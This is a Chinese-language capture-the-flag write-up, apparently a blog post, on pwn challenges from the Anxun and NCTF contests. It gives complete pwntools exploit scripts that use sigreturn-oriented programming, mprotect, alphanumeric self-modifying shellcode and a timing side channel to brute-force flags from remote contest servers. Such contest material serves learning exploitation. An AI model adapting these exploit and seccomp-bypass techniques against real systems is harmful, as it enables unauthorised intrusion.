周末安洵和nctf,因为不是学生也没报名拿附件作了一把。
安洵的题很好,唯一的问题是把几乎所有的,有没有必要的都放了远程,而且服务器很差,好多题不是不会而是连不上。
这个题估计也给服务器造成了一定负担。题目通过seccomp作了限制,允许mprotect,open,read,sigreturn
?
这里是限制也是提示,显然是要用sigreturn填充寄存器,用mprotect将块作成可执行然后open+read由于没有write只能造循环判断是否正确。官方还挺良心,用的UUID并且去掉了壳,早说呀,爆起来就方便了。
from pwn import *
context(arch='amd64', log_level='error')
#rigreturn
#int mprotect(const void *start, size_t len, int prot);
#0x404000 0x1000 7
syscall = 0x40118a #syscall;pop rbp; ret
mov_rax_f = 0x401193
leave_ret = 0x4014d4
#mprotect(0x404000,0x1000,7)
frame = SigreturnFrame()
frame.rax = 10
frame.rdi = 0x404000
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = 0x404168
frame.rip = syscall
def read_v(i,v):
#p = process('./chall')
p = remote('47.108.206.43',26111)
#gdb.attach(p, "b*0x401193\nc")
shellcode = "mov al, byte ptr ["+hex(0x404800+i)+"];mov cl, "+hex(v)+"; label: cmp al,cl; jz label; mov rax,231; syscall"
#print(shellcode)
pay = flat(mov_rax_f, syscall, frame , 0, 0x404178)
pay += asm(shellcraft.open('flag') + shellcraft.read('rax', 0x404800,0x50))
pay += asm(shellcode)
p.sendafter(b"easyhack\n", pay)
p.sendafter(b"?\n", b'A'*0x2a+ flat(0x404058, leave_ret))
try:
p.recv(timeout=0.5)
p.close()
#p.interactive()
return True
except:
p.close()
return False
dic = b'0123456789abcdef-' #b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{_}'
flag = ''
for i in range(len(flag), 50, 1):
for j in dic:
print(chr(j), end='')
if read_v(i, j):
flag += chr(j)
print('=>',flag)
break
else:
print('no found')
break
pause()
#411b024e-a16c-11ee-88e5-00163e0447d0
怎么会同样的题放两道,而且后边这题更简单。ORW全了,并且有sigreturn,sigreturn直接用3次就行了
from pwn import *
context(arch='amd64', log_level='debug')
#sigreturn
syscall = 0x40118a #syscall;pop rbp; ret
mov_rax_f = 0x401193
leave_ret = 0x4014d4
#open(0x404060)
frame1 = SigreturnFrame()
frame1.rax = 2
frame1.rdi = 0x404060
frame1.rsi = 0
frame1.rdx = 0
frame1.rsp = 0x404060 + 0x110
frame1.rip = syscall
#read(3,0x404800,0x50)
frame2 = SigreturnFrame()
frame2.rax = 0
frame2.rdi = 3
frame2.rsi = 0x404800
frame2.rdx = 0x50
frame2.rsp = 0x404060+ 0x110*2
frame2.rip = syscall
#write(1, 0x404800, 0x50)
frame3 = SigreturnFrame()
frame3.rax = 1
frame3.rdi = 1
frame3.rsi = 0x404800
frame3.rdx = 0x50
frame3.rsp = 0x404060 + 0x110*3
frame3.rip = syscall
#p = process('./chall')
p = remote('47.108.206.43', 33287)
#gdb.attach(p, "b*0x401193\nc")
pay = b'/flag'.ljust(8,b'\x00')+flat(mov_rax_f, syscall, frame1 , 0, mov_rax_f, syscall, frame2, 0, mov_rax_f, syscall, frame3)
p.sendafter(b"easyhack\n", pay)
p.sendafter(b"?\n", b'A'*0x2a+ flat(0x404060, leave_ret))
p.interactive()
?安洵已经出了官方WP,可以去网站上看
不约而同又一个写shellcode的题,这题一晚上才作成。对输入进行了过滤,允许的比base64少处+号。
另外,prctl限制只允许read(0,x,1)
所以这题思路很简单,但操作起来麻烦,限制的数字和字母,组成shellcode真的很难。
首先要造一个read这样可以绕过过滤限制。
只有字母的话能pop填充只有rax,rcx,rdx,r8,r9,r10,而xor又不会改变高位需要用read在栈里的返回值造个高位为1的数,我这里选用了个0x88
但read只允许1字节这就要造个循环。一开始用loop,发现rcx会被read的返回覆盖。后来找到xor rsi,[r9]
而必需的s:syscall;inc rsi;cmp [r8],sil;jnz s;这里边的几个无法输入需要用xor生成。
1,先通过栈里的内容将r8->0x88 r9->20230000, rax=20230000
2,先修改rax作为指针再通过xor [rax],dh修改指向的值造后边无法写入的部分
3,最后写入shellcode ,open+n*read(0,x,1)+cmp + jmp进行爆破
from pwn import *
context(arch='amd64', log_level='error')
#只允许read(0,buf,1)
#shellcode仅允许 大小写字母数字 /
#利用rsp造指针,修改尾部生成syscall; inc rsi; cmp [r8],sil; jnz s; 循环读0x100字节shellcode
#close(0)
#open('/flag',0)
#循环 read(0,0x2023100,1)
#l2: cmp [rsi],{v}; jz l2;
#stack [x,0,0x88,0x20230000] -> rsp [0x20230000, 0x88]
sc = 'pop rdx;pop rdx;pop rcx;pop rax;'
sc += 'push rcx;push rsp;pop r8;push rax;push rsp;pop r9;' # r8->0x88 rax=0x20230000 r9->20230000
sc += 'xor esi,[r8];'
pos = 0x6e #len(asm(sc))+0x30
sc += f'push 0x41414141;pop rdx;push rax; xor al,0x{pos:x};xor [rax],dh;' #4e44^4141 = 0f05
sc += f'pop rax;push rax; xor al,0x{pos+1:x};xor [rax],dh;'
sc += f'pop rax;push rax; xor al,0x{pos+3:x};xor [rax],esi;' #77 4e 6a 71 ^88 = ff c6 eb f6 inc rsi;loop s
sc += f'pop rax;push rax; xor al,0x{pos+4:x};xor [rax],esi;'
sc += f'pop rax; xor al,0x{pos+9:x};xor [rax],esi;'
sc += 'xor rsi,[r9];'
sc += 'push 0x43;pop rax;xor al,0x42;push rax;pop rdx;' #rcx=0x7a; read(0, rsi, 1)
sc += 'push r10;pop rax;'
#'s:push r10;pop rax; syscall; inc rsi; cmp [r8],sil; jnz s;' b'\x0f\x05H\xff\xc6A80u\xf3'
def getv(length, value):
#p = process('./checkin-release')
p = remote('8.130.35.16', 58002)
#gdb.attach(p, "b*0x0000555555555764\nc")
pay = (asm(sc)+b'\x4e\x44H\x77\x4eA80u\x79').ljust(0x88,b'P')
p.sendafter(b"Give me your shellcode: ", pay)
sleep(0.5)
pay = shellcraft.close(0)+shellcraft.open('/flag')
pay += f'mov rcx,0x{length:x}; xor rdi,rdi; push 0x20230000; pop rsi; mov rdx,1; s1: xor rax,rax; syscall; inc r15; cmp r15,0x{length+1}; jnz s1;'
pay += f's2: cmp byte ptr[rsi],0x{value:x}; jz s2;'
pay += shellcraft.exit(0)
p.send(asm(pay).ljust(0x100, b'\x90'))
try:
p.recv(timeout=0.3)
p.close()
return True
except:
p.close()
return False
flag = '' #'nctf{checst-flag-ce}'
for i in range(len(flag), 50):
for j in b'abcdefghijklmnopqrstuvwxyz{}_-!': #range(0x20,0x7f):
print(chr(j), end='')
v = getv(i,j)
if v:
flag += chr(j)
print(':',flag)
break